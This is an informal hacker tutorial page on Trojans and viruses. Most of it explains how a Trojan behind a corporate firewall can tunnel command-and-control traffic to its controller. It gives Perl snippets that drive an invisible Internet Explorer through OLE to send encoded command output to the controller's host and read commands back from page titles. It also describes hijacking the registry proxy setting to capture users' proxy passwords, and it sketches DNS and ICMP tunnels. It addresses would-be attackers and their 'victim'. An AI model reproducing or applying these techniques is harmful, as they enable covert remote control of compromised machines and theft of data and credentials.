Scripts And Virus

Trojan - A malicious, security-breaking program that is typically disguised as something useful, such as a utility program, joke, or game download

If you have carefully read www.geocities.com/nvidura/hacknet.html, you most prolly have heard of Trojans like Back Orifice, NetBus, Sub7 and the likes. And you prolly know that you connect to these Trojans on certain ports (with some you can even spec the port). This is all nice and neat when you are running a Trojan on a host that is not firewalled. Thing is – hosts that are not firewalled is rarely interesting. What you want is a Trojan on the inside of a network – in the core of a network. Let us assume that your victim is sitting on an unrouted network (10,172.16 or 192.168 net), with proxy firewall and a NAT router in front of it. How do you connect to your Trojan?

Well – you don’t. There is just no way that your packet is going to reach a host on the inside of a properly firewalled network – not even if it is an UDP packet on a super high port – just forget it. So the Trojan writers have come up with some interesting ways to “control” their Trojans. The Trojan could possibly connect out from the network, and register itself on an IRC channel. By chatting to the “robot” you can now control the actions of the Trojan. The same is done with ICQ. This is sweet & all, but what do you do when the user (on the internal network) is not allowed to IRC or ICQ

Let think about the problem for a bit. You need a way to communicate with the Trojan – you need to send data to it, and receive data from it. Somehow you got to get info from the host, and send data to the host. In a tightly filtered, firewalled network – what goes in and out of the network? Let’s think – a user in such a network – how does the user communicate with the outside world? What applications does the user use? Email for one. Browsing. For sure – most employees can browse the net. Lets concentrate on HTTP for now. Email has some nasty problems.

HTTP is made up of two parts – a request and a reply. The request is made at the client, and the reply is send from the webserver. No matter how complex the setup with proxies, content filters, virus scanners, NAT, firewalling, the browser makes an HTTP request and the server replies with a reply. In between the client and the server a lot can happen. A firewall might check that the request is really a HTTP request and that the response is a valid HTTP reply – but still – data is send and received (inside the HTTP spec). Thus – if the Trojan sends data within a HTTP request and the server sends data in a HTTP reply we got two-way communication.

HTTP is not without problems. The Trojan needs to make the connection to a host. A normal HTTP request could look like this:

GET /data HTTP/1.0

This is fine when not using a proxy. But (as has been shown earlier) if you use a proxy then the request looks like this:

GET http://server.com/data HTTP/1.0

Thus – the Trojan must detect if a proxy is configured – if so – it needs to get the address of the proxy, make the connection to the proxy, and alter the HTTP request so that the proxy knows where to connect to. How do we know if we should use a proxy – well – it’s a setting in the registry. Hereby part of a PERL script that will do just that:

Another problem with HTTP is encoding – special character have the tendency to get buggered if transmitted without being encoded first. No problem – we just encode the request and the reply in hex. No doubt others will quickly find ways to build basic compressions into this as well – but hereby a PERL script that will encode a string as needed (this only the request – the reply is exactly the same):

• $response =~ s/(.)/(sprintf("%%%x",ord($1)))/ge;

• $response =~ s/([\n])/(sprintf("%%%x",ord($1)))/ge;

On the other end – the response is decoded:

• @hexit=split(/\%/,$data);

• foreach $char (@hexit){printf("%c",hex($char));}

So – building a client/server is not that difficult. Lets look at the process:

• Victim executes the Trojan code

• Trojan queries registry to see if there is a proxy configured

• Trojan send a HTTP request (via proxy or direct) to the “controller”, stating that it is “alive”.

• Controller process accepts the HTTP request, prompts the controller for a command.

• Command is entered, encoded, and encoded in a HTTP reply.

• Trojan gets the reply, decodes the command and executes it.

• Trojan gets the output of the command, encodes it, and encodes it into the next HTTP request.

• Process repeats

This tends to work fine…excepts (always) when the proxy is using User Authentication. See, then the request needs to contain User Authentication information, and we no way to know this piece of information. Request without authentication information is simply not passed along to the “server”. So…now what?

We can control the registry. The proxy settings are stored in the registry. How about we change the proxy – just for a while – so it point to a process that is under the control of the Trojan (setting it to localhost)? Clearly the username and password will be passed to us then? And after we have this, we simply point the proxy setting back to the original proxy. This would mean that the first time our Trojan fires up, the user will be prompted for a username and password, but most users do this without thinking about it twice. After this, we have the username and the password, and the requests that the Trojan makes could contain the Authentication information. Neatish, but really not elegant enough.

What if we control the browser? Microsoft has this cool thing called OLE, and it is used to control applications with other external programs (that how apps gets their help files in your browser). An external process can start a browser, surf the net and do just about anything. And it can do it without showing a browser to the user on the screen – it runs in the background. So the idea would be to let the Trojan control the browser, to let the browser surf for example “http://controller/<output of command, encoded>”. But how do we get the command to execute back? See – it would be fine if we can “surf” a page that contains the next command, and save the output of the “webpage” to a file. The file would contain the next command to execute, and the subsequent request would be the output of that command. But the Microsoft guys aren’t that stupid – the only browser function that cannot be controlled with OLE is “Save to disk”. So how do we get the next command? Luckily the browser displays the title of a webpage as the browser window title. And the title can be read with OLE. So – we only need to send the command (encoded) as the title of the reply. Confused? OK – lets do it slowly.

On the client (Trojan) side we start an “invisible browser”:

my $ie = Win32::OLE->new('InternetExplorer.Application'); $ie->{Visible} =0;

After encoding the output (of the previous command) we let the browser surf there with OLE:

$ie->Navigate("http://$host:$port/$response");

In the above case, $host and $port will be that of the “controller” process. We don’t have to worry about proxies and authentication – the browser that we control runs with the properties of other normal browsers.

At the controller side, we get the request, decode it and display it:

As can be seen – the encoded response (.the new command) is contained in the title of the page. Nice how we respond like we are an IIS server version 4. Oh, and note the date.

At the Trojan side we now have to extract the title from the “browser” with OLE. With OLE we can even check if the “browser” is finished downloading our reply:

And that is that. No worries about proxies or authentication. With this example we used a “command”, but it would work fine for any form of communication. What I am saying is that you could have a Trojan like Subseven using this form of communication. What I explained is just a medium – what you put on top of this is entirely up to you. A note – there is obviously a limit to the amount of data that you transmit with every request/reply. A GET request is limited to 256 bytes of data, and the size of a titlebar is also limited. Normally the data transmitted from the controller to the Trojan is minimal; it’s the data from the Trojan to the client that can get bulky (like watching the webcam’s feed). A way to get past this problem is to use POSTs and not GETs (some firewalls might block POSTs) or to use multiple requests. To make it a reliable communication medium one would prolly have to put checksums and timestamps on the requests and the replies (and remember to compress a bit) – but this is just implementation issues. Another implementation issue is that of caching. If the Trojan requests the same URL (and a caching proxy is used) the cache will reply, and the controller will never get the request. Adding a random number to the request and reply solves this problem. Oh, and you wouldn’t want to code the Trojan in PERL…

Another way to transport data to and from a Trojan is via DNS request and replies. A request to unknown.sensepost.com ends up at the name server for sensepost.com, no matter how. And the name server for Sensepost.com could reply with a CNAME of “notunknown.Sensepost.com”. And that reply gets to whoever made the request. It does not matter how many name servers passed it on. With DNS requests things gets a little hairy – DNS use UDP as transport, and UDP is not very reliable. Checksums, and packet-stamps are not optional. The problem with this method is that clients in tight firewalled network rarely get to do DNS requests. Normally they connect to their proxy, and the proxy does the actual request.

ICMP ping packets can also be used as a transport mechanism. Embedding the request in the “payload” of the ping request packet and getting the response back in embedded in the response ping packet have been shown to work in environments where ping is allowed to enter and leave a network. Again – in tightly firewalled networks ICMP is rarely allowed to enter or leave.

The bottom line – Trojans where you have to connect to the Trojan is ancient. It works in very limited environments. The first thing to alter is to get the Trojan to connect to the controller – the second is to find a communication media that will work even from non-routed networks. HTTP looks as though it could do the thing.

 

Virus - A computer program that makes copies of itself, therefore requiring, a host program. Also a virus is a program that will copy its code into one or more larger host programs when it is activated; when the infected programs are run, the viral code is executed and the virus replicates. This means that along with executable files, the code that controls your hard disk can be infected

A virus is classified according to its specific form of malicious operation: Partition Sector Virus, Boot Sector Virus, File Infecting Virus, Polymorphic Virus, Multi-Partite Virus, Trojan Horse Virus, Worm Virus, or Macro Virus. Norton & MacAfee  identifies the most common viruses from the more than 100,000 known today. These names can be compared to the ASCII found in data fields of sniffer captures for virus signature assessments.       

continue

 

Wanna Make some money?
If you have access to your own email account, you can get paid.